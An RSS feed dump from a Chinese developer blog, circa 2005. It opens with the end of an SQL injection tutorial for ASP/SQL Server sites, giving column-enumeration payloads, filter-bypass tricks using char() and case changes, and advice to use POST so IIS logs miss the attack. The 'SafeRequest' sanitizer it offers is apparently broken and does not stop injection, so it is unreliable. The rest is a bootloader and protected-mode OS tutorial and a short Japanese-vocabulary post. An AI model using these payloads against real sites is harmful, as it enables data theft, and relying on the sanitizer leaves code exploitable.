⑥http://Site/url.asp?id=1&nbsp;;;and&nbsp;(Select&nbsp;Top&nbsp;1&nbsp;col_name(object_id(‘表名’),1)&nbsp;from&nbsp;sysobjects)&gt;0&nbsp; <BR><BR>　　从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。&nbsp; <BR><BR>　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。&nbsp; <BR><BR>　　第二节、绕过程序限制继续注入&nbsp; <BR><BR>　　在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。&nbsp; <BR><BR>　　在“SQL注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：&nbsp; <BR><BR>　　简单的如where&nbsp;xtype=’U’，字符U对应的ASCII码是85，所以可以用where&nbsp;xtype=char(85)代替；如果字符是中文的，比如where&nbsp;name=’用户’，可以用where&nbsp;name=nchar(29992)+nchar(25143)代替。&nbsp; <BR><BR>　　第三节、经验小结&nbsp; <BR><BR>　　1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。&nbsp; <BR><BR>　　2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。&nbsp; <BR><BR>　　3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。&nbsp; <BR><BR>　　4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。&nbsp; <BR><BR>　　5.猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。&nbsp; <BR><BR>　　SQL注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say&nbsp;NO，函数如下：&nbsp; <BR><BR>　　Function&nbsp;SafeRequest(ParaName,ParaType)&nbsp; <BR>　　---&nbsp;传入参数&nbsp;---&nbsp; <BR>　　ParaName:参数名称-字符型&nbsp; <BR>　　ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)&nbsp; <BR><BR>　　Dim&nbsp;ParaValue&nbsp; <BR>　　ParaValue=Request(ParaName)&nbsp; <BR>　　If&nbsp;ParaType=1&nbsp;then&nbsp; <BR>　　If&nbsp;not&nbsp;isNumeric(ParaValue)&nbsp;then&nbsp; <BR>　　Response.write&nbsp;"参数"&nbsp;&amp;&nbsp;ParaName&nbsp;&amp;&nbsp;"必须为数字型！"&nbsp; <BR>　　Response.end&nbsp; <BR>　　End&nbsp;if&nbsp; <BR>　　Else&nbsp; <BR>　　ParaValue=replace(ParaValue,"","")&nbsp; <BR>　　End&nbsp;if&nbsp; <BR>　　SafeRequest=ParaValue&nbsp; <BR>　　End&nbsp;function&nbsp;</FONT><BR></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/songfei/aggbug/23200.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2005-12-09 19:31 <a href="http://www.blogjava.net/songfei/articles/23200.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>日语课堂</title><link>http://www.blogjava.net/songfei/articles/20789.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 21 Nov 2005 08:26:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/20789.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/20789.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/20789.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/20789.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/20789.html</trackback:ping><description><![CDATA[1.プログラムの中の誤りは修正しなければならない(程序中的错误需要修正)<BR>6.１つの関数は多数(<A href="http://www.excite.co.jp/dictionary/japanese/?search=%E5%A4%9A%E6%95%B0&amp;match=beginswith&amp;itemid=12495800"><B>たすう</B></A>)のパラメーターがある(一个函数有多个参数)<img src ="http://www.blogjava.net/songfei/aggbug/20789.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2005-11-21 16:26 <a href="http://www.blogjava.net/songfei/articles/20789.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>没事时就写写操作系统</title><link>http://www.blogjava.net/songfei/articles/20771.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 21 Nov 2005 07:08:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/20771.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/20771.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/20771.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/20771.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/20771.html</trackback:ping><description><![CDATA[<BR>有人可能担心自己既没有学过计算机原理，也没有学过操作系统原理，更不懂汇编语言，对C语言也一知半解，能写操作系统吗？答案是没问题。我将带大家一步一步完成自己的操作系统。当然如果学一学上述内容再好不过。 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 开始还是补充一下基本知识:<BR>
<CENTER><FONT color=#000099><STRONG>什么是保护模式</STRONG></FONT></CENTER><BR><BR>自从1969年推出第一个微处理器以来，Intel处理器就在不断地更新换代，从8086、8088、80286，到80386、80486、奔腾、奔腾Ⅱ、奔腾4等，其体系结构也在不断变化。80386以后，提供了一些新的功能，弥补了8086的一些缺陷。这其中包括内存保护、多任务及使用640KB以上的内存等，并仍然保持和8086家族的兼容性。也就是说80386仍然具备了8086和80286的所有功能，但是在功能上有了很大的增强。早期的处理器是工作在实模式之下的，80286以后引入了保护模式，而在80386以后保护模式又进行了很大的改进。在80386中，保护模式为程序员提供了更好的保护，提供了更多的内存。事实上，保护模式的目的不是为了保护程序，而是要保护程序以外的所有程序（包括操作系统）。 <BR><BR>简言之，保护模式是处理器的一种最自然的模式。在这种模式下，处理器的所有指令及体系结构的所有特色都是可用的，并且能够达到最高的性能。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>保护模式和实模式</STRONG></FONT></CENTER><BR><BR>从表面上看，保护模式和实模式并没有太大的区别，二者都使用了内存段、中断和设备驱动来处理硬件，但二者有很多不同之处。我们知道，在实模式中内存被划分成段，每个段的大小为64KB，而这样的段地址可以用16位来表示。内存段的处理是通过和段寄存器相关联的内部机制来处理的，这些段寄存器（CS、DS、SS和ES）的内容形成了物理地址的一部分。具体来说，最终的物理地址是由16位的段地址和16位的段内偏移地址组成的。用公式表示为： <BR><BR>物理地址=左移4位的段地址+偏移地址。 <BR><BR>在保护模式下，段是通过一系列被称之为“描述符表”的表所定义的。段寄存器存储的是指向这些表的指针。用于定义内存段的表有两种：全局描述符表(GDT)和局部描述符表(LDT)。GDT是一个段描述符数组，其中包含所有应用程序都可以使用的基本描述符。在实模式中，段长是固定的(为64KB)，而在保护模式中，段长是可变的，其最大可达4GB。LDT也是段描述符的一个数组。与GDT不同，LDT是一个段，其中存放的是局部的、不需要全局共享的段描述符。每一个操作系统都必须定义一个GDT，而每一个正在运行的任务都会有一个相应的LDT。每一个描述符的长度是8个字节，格式如图3所示。当段寄存器被加载的时候，段基地址就会从相应的表入口获得。描述符的内容会被存储在一个程序员不可见的影像寄存器(shadow register)之中，以便下一次同一个段可以使用该信息而不用每次都到表中提取。物理地址由16位或者32位的偏移加上影像寄存器中的基址组成。实模式和保护模式的不同可以从图1和图2中很清楚地看出来。 <BR><BR>此外，还有一个中断描述符表(IDT)。这些中断描述符会告诉处理器到那里可以找到中断处理程序。和实模式一样，每一个中断都有一个入口，但是这些入口的格式却完全不同。因为在切换到保护模式的过程中没有使用到IDT，所以在此就不多做介绍了。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>进入保护模式</STRONG></FONT></CENTER><BR><BR>80386有4个32位控制寄存器，名字分别为CR0、CR1、CR2和CR3。CR1是保留在未来处理器中使用的，在80386中没有定义。CR0包含系统的控制标志，用于控制处理器的操作模式和状态。CR2和CR3是用于控制分页机制的。在此，我们关注的是CR0寄存器的PE位控制，它负责实模式和保护模式之间的切换。当PE=1时，说明处理器运行于保护模式之下，其采用的段机制和前面所述的相应内容对应。如果PE=0，那么处理器就工作在实模式之下。 <BR><BR>切换到保护模式，实际就是把PE位置为1。为了把系统切换到保护模式，还要做一些其它的事情。程序必须要对系统的段寄存器和控制寄存器进行初始化。把PE位置1后，还要执行跳转指令。过程简述如下： <BR><BR>1.创建GDT表; <BR><BR>2.通过置PE位为1进入保护模式; <BR><BR>3.执行跳转以清除在实模式下读取的任何指令。&nbsp;<BR><BR><BR><BR>首先要明确处理器(也就是CPU)控制着计算机。对PC而言，启动的时候，CPU都处在实模式状态，相当于只是一个Intel 8086处理器。也就是说，即使你现在拥有一个奔腾处理器，它的功能也只能是8086级别。从这一点上来讲，可以使用一些软件把处理器转换到著名的保护模式。只有这样，我们才可以充分利用处理器的强大功能。 <BR><BR>编写操作系统开始是对BIOS控制，取出存储在ROM里的程序。BIOS是用来执行POST(Power On Self Test，自检)的。自检是检查计算机的完整性(比如外设是否工作正常、键盘是否连接等)。这一切完成以后，你就会听到PC喇叭发出一声清脆的响声。如果一切正常，BIOS就会选择一个启动设备，并且读取该设备的第一扇区(即启动扇区)，然后控制过程就会转移到指定位置。启动设备可能是一个软盘、光盘、硬盘，或者其它所选择的设备。在此我们把软盘作为启动设备。如果我们已经在软盘的启动扇区里写了一些代码，这时它就被执行。因此，我们的目的很明确，就是往软盘的启动扇区写一些程序。 <BR><BR>首先使用8086汇编来写一个小程序，然后将其拷贝至软盘的启动扇区。为了实现拷贝，要写一个C程序。最后，使用软盘启动计算机。 <BR><BR><BR>需要的工具 <BR><BR><BR>● as86：这是一个汇编程序，它负责把写的代码转换成目标文件。 <BR><BR>● ld86：这是一个连接器，as86产生的目标代码由它来转换成真正的机器语言。机器语言是8086能够解读的形式。 <BR><BR>● GCC：著名的C编程器。因为我们需要写一个C程序将自己的OS转移到软盘中。 <BR><BR>● 一张空软盘：它用于存储编写的操作系统，也是启动设备。 <BR><BR>● 一台装有Linux的计算机：这台机器可以很旧，386、486都可以。 <BR><BR>在大部分标准Linux发行版中都会带有as86和ld86。在我使用的Red Hat 7.3中就包含有这两个工具，并且在默认的情况下，它已经安装在机器里。如果使用的Linux没有这两个工具，可以从网上下载(http://www.cix.co.uk/~mayday/)，这两个工具都包含在一个名为bin86的软件包中。此外，有关的文档也可以在网上获得(www.linux.org/docs/ldp/howto/Assembly-HOWTO/as86.html)。 <BR><BR><BR>开始工作 <BR><BR><BR>使用一个你喜欢的编辑器输入以下内容： <BR><BR>entry start <BR>start: <BR>mov ax,#0xb800 <BR>mov es,ax <BR>seg es <BR>mov [0],#0x41 <BR>seg es <BR>mov [1],#0x1f <BR>loop1: jmp loop1 <BR><BR><BR><BR>这是as86可以读懂的一段汇编程序。第一个句子指明了程序的入口点，声明整个过程从start处开始。第二行指明了start的位置，说明整个程序要从start处开始执行。0xb800是显存的开始地址。#表明其后是一个立即数。执行语句： <BR><BR>mov ax,#oxb800 <BR><BR><BR><BR>ax寄存器的值就变为0xb800，这就是显存的地址。下面再将这个值移至es寄存器，es是附加段寄存器。请记住8086有一个分段的体系结构。它的各段寄存器为代码段、数据段、堆栈段和附加段，对应的寄存器名称分别为cs、ds、ss和es。事实上，我们把显存地址送入了附加段，因此，任何送入附加段的东西都会被送到显存中。 <BR><BR>要在屏幕上显示字符，就需要向显存中写两个字节。前一个是所要显示字符的ASCⅡ值，第二个字节表示该字符的属性。属性包括字符的前景色、背景色及是否闪烁等等。seg es指明下一个将要执行的指令是指向es段的。所以，我们把值0x41(在ASCⅡ中表示的字符是A)送到显存的第一个字节中。接下来要把字符的属性送到下一个字节当中。在此输入的是0x1f，该属性指的是在蓝色背景下显示白色的字符。因此，如果执行这个程序，就可以在屏幕上得到显示在蓝底上的一个白色的A。接着是一个循环。因为在执行完显示字符的任务后，要么让程序结束，要么使用一个循环使其永远运行下去。把该文件命名为boot.s，然后存盘。 <BR><BR>此处显存的概念说得不是很清楚，有必要进一步解释一下。假设屏幕由80列×25行组成，那么第一行就需要160字节，其中一个字节用于表示字符，另外一个字节用于表示字符的属性。如果要在第三行显示某一字符的话，就要跳过显存的第0和1字节(它们是用于显示第1列的)，第2和3字节(它们是用于显示第2列的)，然后把需要显示字符的ASCⅡ码值入第4字节，把字符的属性写入第5字节。 <BR><BR><BR>把程序写至启动扇区 <BR><BR><BR>下面写一个C程序，把我的操作系统写入软盘第一扇区。程序内容如下： <BR><BR>＃i nclude /* unistd.h 需要这个文件 */ <BR>＃i nclude /* 包含有read和write函数 */ <BR>＃i nclude <BR>int main() <BR>{ <BR>char boot_buf[512]; <BR>int floppy_desc, file_desc; <BR>file_desc = open("./boot", O_RDONLY); <BR>read(file_desc, boot_buf, 510); <BR>close(file_desc); <BR>boot_buf[510] = 0x55; <BR>boot_buf[511] = 0xaa; <BR>floppy_desc = open("/dev/fd0", O_RDWR); <BR>lseek(floppy_desc, 0, SEEK_CUR); <BR>write(floppy_desc, boot_buf, 512); <BR>close(floppy_desc); <BR>} <BR><BR><BR><BR>首先，以只读模式打开boot文件，然后在打开文件时把文件描述符复制到file_desc变量中。从文件中读取510个字符，或者读取直到文件结束。在本例中由于文件很小，所以是读取至文件结束。然后关闭文件。 <BR><BR>最后4行代码打开软盘驱动设备(一般来说是/dev/fd0)。使用lseek找到文件开始处，然后从缓冲中向软盘写512个字节。 <BR><BR>在read、write、open和lseek的帮助页中，可以看到与函数所有有关的参数及其使用方法。程序中有两行比较难懂： <BR><BR>boot_buf[510] = 0x55; <BR>boot_buf[511] = 0xaa; <BR><BR><BR><BR>该信息是用于BIOS的，如果它识别出该设备是一个可启动的设备，那么在第510和511的位置，该值就应该是0x55和0xaa。程序会把文件boot读至名为boot_buf的缓冲中。它要求改变第510和第511字节，然后把boot_buf写至软盘之上。如果执行代码，软盘上的前512字节就包含了启动代码。最后，把文件存为write.c。 <BR><BR><BR>编译运行 <BR><BR><BR>使用下面的命令把文件变为可执行文件： <BR><BR>as86 boot.s -o boot.o <BR>ld86 -d boot.o -o boot <BR>cc write.c -o write <BR><BR><BR><BR>首先将boot.s文件编译成目标文件boot.o，然后将该文件连接成最终的boot文件。最后C程序编译成可执行的write文件。 <BR><BR>插入一个空白软盘，运行以下程序： <BR><BR>./write <BR><BR><BR><BR>重新启动电脑，进行BIOS的界面设置，并且把软盘设为第一个启动的设备。然后插入软盘，电脑从软盘上启动。 <BR><BR>启动完成后，在屏幕上可以看到一个字母A(蓝底白字)，启动速度很快，几乎是在瞬间完成。这就意味着系统已经从我们制作的软盘上启动了，并且执行了刚才写入启动扇区的程序。现在，它正处在一个无限循环的状态。所以，如果想进入Linux，必需拿掉软盘，并且重启机器。 <BR><BR>至此，这个操作系统就算完成了，虽然它没有实现什么功能，但是它已经可以启动机器了。 <BR><BR>作者：伊梅 本文选自：开放系统世界——赛迪网 2002年11月01日 <BR><BR>上一期，我讲述了如何在软盘的启动扇区写一些代码，然后再从软盘启动的过程。制作好一个启动扇区，在切换到保护模式之前，我们还应该知道如何使用BIOS中断。BIOS中断是一些由BIOS提供的、为了使操作系统的创建更容易的低级程序。在本文中，我们将学习处理BIOS的中断。 <BR><BR><BR>为什么要用BIOS <BR><BR><BR>BIOS会把启动扇区拷贝至RAM中，并且执行这些代码。除此之外，BIOS还要做很多其它的事情。当一个操作系统刚开始启动时，系统中并没有显卡驱动、软盘驱动等任何驱动程序。因此，启动扇区中不可能包含任何一个驱动程序，我们要采取其它的途径。这个时候，BIOS就可以帮助我们了。BIOS中包含有各种可以使用的程序，包括检测安装的设备、控制打印机、计算内存大小等用于各种目的的程序。这些程序就是所说的BIOS中断。 <BR><BR><BR>如何调用BIOS中断 <BR><BR><BR>在一般的程序设计语言中，函数的调用是一件非常容易的事情。比如在C语言中，如果有一个名为display的程序，它带有两个参数，其中参数noofchar表示显示的字符数，参数attr表示显示字符的属性。那么要调用它，只需给出程序的名称即可。对于中断的调用，我们使用的是汇编语言中的int指令。 <BR><BR>比如，在C语言中要显示一些东西时，使用的指令如下所示： <BR><BR>display(nofchar，attr)； <BR><BR><BR><BR>而使用BIOS时，要实现相同功能使用的指令如下： <BR><BR>int 0x10 <BR><BR><BR><BR><BR>如何传递参数 <BR><BR><BR>在调用BIOS中断之前，我们需要先往寄存器中送一些特定的值。假设要使用BIOS的中断13h，该中断的功能是把数据从软盘传送至内存之中。在调用该中断之前，要先指定拷贝数据的段地址，指定驱动器号、磁道号、扇区号，以及要传送的扇区数等等。然后，就要往相应的寄存器送入相应的值。在进行下面的步骤前，读者有必要对这一点有比较明确地认识。 <BR><BR>此外，一个比较重要的事实是同一个中断往往可以实现各种不同的功能。中断所实现的确切功能取决于所选择的功能号，功能号一般都存在ah寄存器之中。比如中断13h可以用于读磁盘、写磁盘等功能，如果把3送入ah寄存器中，那么中断选择的功能就是写磁盘；如果把2送入ah寄存器中，选择的功能则是读磁盘等。 <BR><BR><BR>我们要做的事情 <BR><BR><BR>这次我们的源代码由两个汇编语言程序和一个C程序组成。第一个汇编文件是引导扇区的代码。在引导扇区中，我们写的代码是要把软盘中第二扇区拷贝至内存段的0x500处(地址是0x5000，即偏移地址为0)。这时我们需要使用BIOS的中断13h。这时启动扇区的代码就会把控制权转移至0x500处。在第二个汇编文件中，代码会使用BIOS中断10h在屏幕上显示一个信息。C程序实现的功能则是把可执行的文件1拷贝至启动扇区，把可执行的文件2拷贝至软盘的第二扇区。 <BR><BR><BR>启动扇区代码 <BR><BR><BR>使用中断13h，启动扇区把软盘第二扇区里的内容加载至内存的0x5000处(段地址为0x500)。下面的代码是用于实现这一目的的代码，将其保存至文件sbect.s中。 <BR><BR>LOC1=0x500 <BR>entry start <BR>start: <BR>mov ax,#LOC1 <BR>mov es,ax <BR>mov bx,#0 <BR>mov dl,#0 <BR>mov dh,#0 <BR>mov ch,#0 <BR>mov cl,#2 <BR>mov al,#1 <BR>mov ah,#2 <BR>int 0x13 <BR>jmpi 0,#LOC1 <BR><BR><BR><BR>上面代码第一行类似于一个宏。接下去的两行则是把值0x500加载至es寄存器中，这是软盘上第二扇区代码将拷贝到的地方(第一扇区是启动扇区)。这时，把段内的偏移设为0。 <BR><BR>接下来把驱动器号送入dl寄存器中，其中磁头号送入dl寄存器中，磁道号送入ch寄存器中，扇区号送入cl寄存器中，扇区数送入al寄存器之中。我们想要实现的功能是把扇区2、磁道号为0、驱动器号为0的内容送至段地址0x500处。所有这些参数都和1.44MB的软盘相对应。 <BR><BR>把2送入ah寄存器中，是选择了由中断13h提供的相应功能，即实现从软驱转移数据的功能。 <BR><BR>最后调用中断13h，并且转至偏移为0的段地址0x500处。 <BR><BR><BR>第二个扇区的代码 <BR><BR><BR>第二个扇区中的代码如下所示(把这些代码保存至文件sbect2.s之中)： <BR><BR>entry start <BR>start: <BR>mov ah,#0x03 <BR>xor bh,bh <BR>int 0x10 <BR><BR>mov cx,#26 <BR>mov bx,#0x0007 <BR>mov bp,#mymsg <BR>mov ax,#0x1301 <BR>int 0x10 <BR><BR>loop1: jmp loop1 <BR>mymsg: <BR>.byte 13,10 <BR>.ascii “Operating System is Loading......” <BR><BR><BR><BR>上面代码将被加载至段地址为0x500处，并且被执行。在这段代码中，使用了中断10h来获取目前的光标位置，然后显示信息。 <BR><BR>从第3行到第5行用于得到目前光标的位置，在此中断10h选用的是功能3。然后，清除了bh寄存器的内容，并把字符串送至ch寄存器中。在bx中，我们送入了页码及显示的属性。此处，我们想要在黑背景上显示白色的字符。然后，把要显示字符的地址送到bp之中，信息由两个字节组成，其值分别为13的10，它们分别对应回车和LF(换行)的ASCⅡ值。接下来是一个由29个字符组成的串；在下面实现的功能是输出字符串然后移动光标；最后是调用中断，然后进入循环。 <BR><BR><BR>C程序代码 <BR><BR><BR>C程序的源代码如下所示，将其存储为write.c文件。 <BR><BR>＃i nclude /* unistd.h needs this */ <BR>＃i nclude /* contains read/write */ <BR>＃i nclude <BR>int main() <BR>{ <BR>char boot_buf[512]; <BR>int floppy_desc, file_desc; <BR>file_desc = open(“./bsect”, O_RDONLY); <BR>read(file_desc, boot_buf, 510); <BR>close(file_desc); <BR>boot_buf[510] = 0x55; <BR>boot_buf[511] = 0xaa; <BR>floppy_desc = open(“/dev/fd0”, O_RDWR); <BR>lseek(floppy_desc, 0, SEEK_SET); <BR>write(floppy_desc, boot_buf, 512); <BR>file_desc = open(“./sect2”, O_RDONLY); <BR>read(file_desc, boot_buf, 512); <BR>close(file_desc); <BR>lseek(floppy_desc, 512, SEEK_SET); <BR>write(floppy_desc, boot_buf, 512); <BR>close(floppy_desc); <BR>} <BR><BR><BR><BR>在上一期中，我曾经介绍过如何操作能启动的软盘。现在这一个过程稍微有点不同，首先把由bsect.s编译出来的可执行文件bsect拷贝至软盘的启动扇区。然后再把由sect2.s产生的可执行文件sect2拷贝至软盘的第二个扇区。 <BR><BR>把上述文件置于同一目录之下，然后分别对其进行编译，方法如下所示： <BR><BR>as86 bsect.s -o bsect.o <BR>ld86 -d bsect.o -o bsect <BR><BR><BR><BR>对sect2.s文件重复以上的操作，得出可执行文件sect2。编译write.c，插入软盘后执行write文件，命令如下所示： <BR><BR>cc write.c -o write <BR>./write <BR><BR><BR><BR><BR>下一步我们要做的事情 <BR><BR><BR>从软盘启动以后，可以看到显示出来的字符串。这是使用了BIOS中断来完成的。下一期要做的事情是在这个操作系统中实现实模式向保护模式的转换。 <BR><BR>在上两期中（自己动手写操作系统1，2），我向大家讲述了如何使用Linux提供的开发工具在软盘的启动扇区写一些代码，以及如何调用BIOS的问题。现在，这个操作系统已经越来越接近当年Linus Torvalds的那个具有“历史意义”的Linux内核了。因此，要马上把这个系统切换到保护模式之下。 <BR><BR><BR>什么是保护模式 <BR><BR><BR>自从1969年推出第一个微处理器以来，Intel处理器就在不断地更新换代，从8086、8088、80286，到80386、80486、奔腾、奔腾Ⅱ、奔腾4等，其体系结构也在不断变化。80386以后，提供了一些新的功能，弥补了8086的一些缺陷。这其中包括内存保护、多任务及使用640KB以上的内存等，并仍然保持和8086家族的兼容性。也就是说80386仍然具备了8086和80286的所有功能，但是在功能上有了很大的增强。早期的处理器是工作在实模式之下的，80286以后引入了保护模式，而在80386以后保护模式又进行了很大的改进。在80386中，保护模式为程序员提供了更好的保护，提供了更多的内存。事实上，保护模式的目的不是为了保护程序，而是要保护程序以外的所有程序（包括操作系统）。 <BR><BR>简言之，保护模式是处理器的一种最自然的模式。在这种模式下，处理器的所有指令及体系结构的所有特色都是可用的，并且能够达到最高的性能。 <BR><BR><BR>保护模式和实模式 <BR><BR><BR>从表面上看，保护模式和实模式并没有太大的区别，二者都使用了内存段、中断和设备驱动来处理硬件，但二者有很多不同之处。我们知道，在实模式中内存被划分成段，每个段的大小为64KB，而这样的段地址可以用16位来表示。内存段的处理是通过和段寄存器相关联的内部机制来处理的，这些段寄存器（CS、DS、SS和ES）的内容形成了物理地址的一部分。具体来说，最终的物理地址是由16位的段地址和16位的段内偏移地址组成的。用公式表示为： <BR><BR>物理地址=左移4位的段地址+偏移地址。 <BR><BR>在保护模式下，段是通过一系列被称之为“描述符表”的表所定义的。段寄存器存储的是指向这些表的指针。用于定义内存段的表有两种：全局描述符表(GDT)和局部描述符表(LDT)。GDT是一个段描述符数组，其中包含所有应用程序都可以使用的基本描述符。在实模式中，段长是固定的(为64KB)，而在保护模式中，段长是可变的，其最大可达4GB。LDT也是段描述符的一个数组。与GDT不同，LDT是一个段，其中存放的是局部的、不需要全局共享的段描述符。每一个操作系统都必须定义一个GDT，而每一个正在运行的任务都会有一个相应的LDT。每一个描述符的长度是8个字节，格式如图3所示。当段寄存器被加载的时候，段基地址就会从相应的表入口获得。描述符的内容会被存储在一个程序员不可见的影像寄存器(shadow register)之中，以便下一次同一个段可以使用该信息而不用每次都到表中提取。物理地址由16位或者32位的偏移加上影像寄存器中的基址组成。实模式和保护模式的不同可以从图1和图2中很清楚地看出来。 <BR><BR>此外，还有一个中断描述符表(IDT)。这些中断描述符会告诉处理器到那里可以找到中断处理程序。和实模式一样，每一个中断都有一个入口，但是这些入口的格式却完全不同。因为在切换到保护模式的过程中没有使用到IDT，所以在此就不多做介绍了。 <BR><BR><BR>进入保护模式 <BR><BR><BR>80386有4个32位控制寄存器，名字分别为CR0、CR1、CR2和CR3。CR1是保留在未来处理器中使用的，在80386中没有定义。CR0包含系统的控制标志，用于控制处理器的操作模式和状态。CR2和CR3是用于控制分页机制的。在此，我们关注的是CR0寄存器的PE位控制，它负责实模式和保护模式之间的切换。当PE=1时，说明处理器运行于保护模式之下，其采用的段机制和前面所述的相应内容对应。如果PE=0，那么处理器就工作在实模式之下。 <BR><BR>切换到保护模式，实际就是把PE位置为1。为了把系统切换到保护模式，还要做一些其它的事情。程序必须要对系统的段寄存器和控制寄存器进行初始化。把PE位置1后，还要执行跳转指令。过程简述如下： <BR><BR>1.创建GDT表; <BR><BR>2.通过置PE位为1进入保护模式; <BR><BR>3.执行跳转以清除在实模式下读取的任何指令。 <BR><BR>下面使用代码来实现这个切换过程。 <BR><BR><BR>需要的东西 <BR><BR><BR>◆ 一张空白软盘 <BR><BR>◆ NASM编译器 <BR><BR>下面是整个程序的源代码： <BR><BR>org 0x07c00; 起始地址是0000:7c00 <BR>jmp short begin_boot ; 跳过其它的数据，跳转到引导程序的开始处 <BR>bootmesg db "Our OS boot sector loading ......" <BR>pm_mesg db "Switching to protected mode ...." <BR>dw 512 ; 每一扇区的字节数 <BR>db 1 ; 每一簇的扇区数 <BR>dw 1 ; 保留的扇区号 <BR>db 2 <BR>dw 0x00e0 <BR>dw 0x0b40 <BR>db 0x0f0 <BR>dw 9 <BR>dw 18 <BR>dw 2 ; 读写扇区号 <BR>dw 0 ; 隐藏扇区号 <BR>print_mesg : <BR>mov ah,0x13 ; 使用中断10h的功能13，在屏幕上写一个字符串 <BR>mov al,0x00 ; 决定调用函数后光标所处的位置 <BR>mov bx,0x0007 ; 设置显示属性 <BR>mov cx,0x20 ; 在此字符串长度为32 <BR>mov dx,0x0000 ; 光标的起始行和列 <BR>int 0x10 ; 调用BIOS的中断10h <BR>ret ; 返回调用程序 <BR>get_key : <BR>mov ah,0x00 <BR>int 0x16 ; Get_key使用中断16h的功能0，读取下一个字符 <BR>ret <BR>clrscr : <BR>mov ax,0x0600 ; 使用中断10h的功能6，实现卷屏，如果al=0则清屏 <BR>mov cx,0x0000 ; 清屏 <BR>mov dx,0x174f ; 卷屏至23，79 <BR>mov bh,0 ; 使用颜色0来填充 <BR>int 0x10 ; 调用10h中断 <BR>ret <BR>begin_boot : <BR>call clrscr ; 先清屏 <BR>mov bp,bootmesg ; 提供串地址 <BR>call print_mesg ; 输出信息 <BR>call get_key ; 等待用户按下任一键 <BR>bits 16 <BR>call clrscr ; 清屏 <BR>mov ax,0xb800 ; 使gs指向显示内存 <BR>mov gs,ax ; 在实模式下显示一个棕色的A <BR>mov word [gs:0],0x641 ; 显示 <BR>call get_key ; 调用Get_key等待用户按下任一键 <BR>mov bp,pm_mesg ; 设置串指针 <BR>call print_mesg ; 调用print_mesg子程序 <BR>call get_key ; 等待按键 <BR>call clrscr ; 清屏 <BR>cli ; 关中断 <BR>lgdt[gdtr] ; 加载GDT <BR>mov eax,cr0 <BR>or al,0x01 ; 设置保护模式位 <BR>mov cr0,eax ; 将更改后的字送至控制寄存器中 <BR>jmp codesel:go_pm <BR>bits 32 <BR>go_pm : <BR>mov ax,datasel <BR>mov ds,ax ; 初始化ds和es，使其指向数据段 <BR>mov es,ax <BR>mov ax,videosel ; 初始化gs，使其指向显示内存 <BR>mov gs,ax <BR>mov word [gs:0],0x741 ; 在保护模式下显示一个白色的字符A <BR>spin : jmp spin ; 循环 <BR>bits 16 <BR>gdtr : <BR>dw gdt_end-gdt-1 ; gdt的长度 <BR>dd gdt ; gdt的物理地址 <BR>gdt <BR>nullsel equ $-gdt ; $指向当前位置，所以nullsel = 0h <BR>gdt0 ; 空描述符 <BR>dd 0 <BR>dd 0 ; 所有的段描述符都是64位的 <BR>codesel equ $-gdt ; 这是8h也就是gdt的第二个描述符 <BR>code_gdt <BR>dw 0x0ffff ; 段描述符的界限是4Gb <BR>dw 0x0000 <BR>db 0x00 <BR>db 0x09a <BR>db 0x0cf <BR>db 0x00 <BR>datasel equ $-gdt <BR>data_gdt <BR>dw 0x0ffff <BR>dw 0x0000 <BR>db 0x00 <BR>db 0x092 <BR>db 0x0cf <BR>db 0x00 <BR>videosel equ $-gdt <BR>dw 3999 <BR>dw 0x8000 ; 基址是0xb8000 <BR>db 0x0b <BR>db 0x92 <BR>db 0x00 <BR>db 0x00 <BR>gdt_end <BR>times 510-($-$$) db 0 <BR>dw 0x0aa55 